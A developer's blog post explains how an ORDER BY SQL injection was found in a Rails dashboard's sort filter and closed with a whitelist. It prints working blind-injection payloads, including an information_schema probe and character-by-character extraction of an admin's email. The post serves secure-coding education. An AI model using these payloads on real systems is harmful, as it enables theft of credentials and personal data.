DEV Community

loading...
Cover image for Security vulnerabilities – how to find and fix them
datarockets

Security vulnerabilities – how to find and fix them

Nikita Pupko
Originally published at datarockets.com ・4 min read

This article is about security vulnerabilities that can be found in many projects. Ignoring them can have terrible consequences for businesses. Hopefully, they are easy to fix. Here I described how I found a vulnerability, showed how it could be used for data extracting from the database, and fixed it with just one line of code.

During one of my tasks on the project, I worked on Dashboard improvements. Dashboard – it’s just the main page for users with different types of entities (showed by cards) and filters in the sidebar (search by keyword, order, filter by type).

Here is the HTML code of the Sort filter.

<select name="order_filter" id="order_filter" class="form-control custom-select">
  <option value="last_seen desc">Recent First</option>
  <option value="created desc">Date Created ⬇</option>
  <option value="created asc">Date Created ⬆</option>
  <option value="title asc">A-Z</option>
  <option value="title desc">Z-A</option>
</select>
Enter fullscreen mode Exit fullscreen mode

Field name for ordering and order in one place with space between. Put your first thought that came to your mind in the comments. 😄

My first thought was, “Why does value look pretty similar to the SQL request part?”. I decided to take a deeper look into it and found that we definitely pass it as:

scope = scope.filter_results(keyword: @keyword, state_filter: @state_filter, order_filter: params[:order_filter])
Enter fullscreen mode Exit fullscreen mode

where filter_results is just a concern method that calls state_filter and order_filter on model if it exists.

So, in model we just have this:

scope :keyword, -> (keyword) { where("title like ?", "%#{keyword}%") }
scope :state_filter, -> (state) { where( state: state ) }
scope :order_filter, -> (order_filter) { reorder(order_filter)} # <- IMPORTANT LINE
Enter fullscreen mode Exit fullscreen mode

ActiveRecord::QueryMethods#reorder Replaces any existing order defined on the relation with the specified order. User.order(’email DESC’).reorder(‘id ASC’) # generated SQL has ‘ORDER BY id ASC’
Source: https://apidock.com/rails/ActiveRecord/QueryMethods/reorder

Hello! Let’s play with it a little. Firstly I decided to test the ability to pass different symbols into the query, and it works well.

I changed one of the HTML filter options to different column names and symbols like brackets, and it works well. So, we have the hole. Let’s put our finger into it.

So, how could it help us get some data from the table? We can do some condition and get the result which can be reflected in the order of the cards on the dashboard:

Do you remember this game from Tarantino’s Inglorious Bastards film? When guys put stickers with the name of some person onto their foreheads and trying to guess this person’s name by using only questions with answers “Yes” or “No.”

Useful construction for ORDER SQL injection is a:

(CASE WHEN condition THEN first_coumn_name ELSE second_column_name END)
Enter fullscreen mode Exit fullscreen mode

or

SELECT IF (condition, first_column_name, second_column_name)
Enter fullscreen mode Exit fullscreen mode

We just need to find a condition (as a question), and two column names to see the result and put it as ORDER BY value (like Yes and No answers).

What could we put into the condition part? Everything. Literally everything.

How about this?

SELECT IF ((SELECT count(*) FROM information_schema.columns 
WHERE COLUMN_NAME = 'is_admin' AND table_name = 'users' LIMIT 1)>0, 'YES', 'NO');
Enter fullscreen mode Exit fullscreen mode

If we have is_admin column in users table it should return YES.

Let’s put in into query with column names for sorting:

(SELECT IF ((SELECT count(*) FROM information_schema.columns 
WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))
Enter fullscreen mode Exit fullscreen mode

The first card is Fundico, and the second is Area. There is no is_admin column in the users table. Let’s try just admin instead:

Here we go! Now we know that we have admin column in our users table.

P.S. The full query with injected code looks like this:

SELECT `table_1`.* FROM `table_1` WHERE `table_1`.`id` IN 
  (SELECT DISTINCT `table_2`.`deal_id` FROM `table_2` LEFT OUTER JOIN `team_members` 
    ON `team_members`.`cool_dude_id` = `table_2`.`id` 
    WHERE `table_2`.`state` != -1 AND (table_2.user_id=*** or team_members.user_id=***)) 
  ORDER BY (SELECT IF ((SELECT count(*) FROM information_schema.columns 
    WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))
Enter fullscreen mode Exit fullscreen mode

Let’s find the rest of the data by analogy. Firstly we need to find email of any admin user to get access to the system.

We could do this symbol by symbol using ASCII table:

We just need to paste all symbols one by one and look for a match:

SELECT IF ((SELECT ASCII(SUBSTRING(email, 1, 1)) FROM users where admin = true LIMIT 1)=105, title, created_at)
Enter fullscreen mode Exit fullscreen mode

This query returns true if the first ASCII code of symbol in the email of the first admin equals 105 (I.e., the first symbol of email is i).

Then we go for the second symbol using ASCII(SUBSTRING(email, 2, 1)) and find all symbols one by one.

Conclusion

We could find any information using this hole like credentials of all users, phones, addresses, etc. Always be careful and try not to use strings for searches and filters in Rails.

Rails is well enough protected from vulnerabilities, but nothing can save you from your own mistakes.

Use wrappers, like hashes and arrays. Don’t use User.where(“name = ‘#{params[:name]'”).

Use User.where([“name = ?”, “#{params[:name]}”]) or User.where({ name: params[:name] }) instead.

This vulnerability can be fixed using just one line, for example:

ORDER_FILTERS = { title_asc: 'title asc', created_at_asc: 'created_at asc'}
scope = scope.filter_results(order_filter: ORDER_FILTERS[params[:order_filter]])
Enter fullscreen mode Exit fullscreen mode

Discussion (0)